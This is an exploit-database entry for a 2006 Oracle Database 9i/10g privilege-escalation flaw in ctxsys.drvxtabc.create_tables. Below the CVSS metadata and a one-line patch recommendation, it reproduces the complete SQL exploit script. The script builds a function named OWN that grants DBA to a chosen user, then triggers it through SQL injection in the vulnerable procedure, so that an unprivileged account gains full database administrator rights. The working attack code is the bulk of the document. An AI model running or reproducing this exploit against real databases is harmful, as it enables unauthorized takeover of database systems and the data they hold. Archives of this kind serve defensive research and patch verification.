ctxsys.drvxtabc.create_tables exploit (9i/10g)

vendor:

Oracle Database

by:

Andrea 'bunker' Purificato

8.8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Oracle Database

Affected Version From: 9i

Affected Version To: 10g

Patch Exists: YES

Related CWE: N/A

CPE: oracle:oracle_database

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

ctxsys.drvxtabc.create_tables exploit (9i/10g)

This exploit allows an unprivileged user to gain DBA permission by exploiting the Oracle ctxsys.drvxtabc.create_tables vulnerability. The exploit creates a function called OWN which grants DBA permission to the target user when executed.

Mitigation:

Oracle recommends that users apply the latest Critical Patch Update (CPU) as soon as possible.

Source

Exploit-DB raw data:

-- 
-- ctxsys.drvxtabc.create_tables
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tables.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...

CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
AUTHID CURRENT_USER AS 
PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; 
RETURN(0);
END;
/

prompt [-] Finishing...

exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where '||USER||'.own=0--','x',2);

prompt [-] YOU GOT THE POWAH!!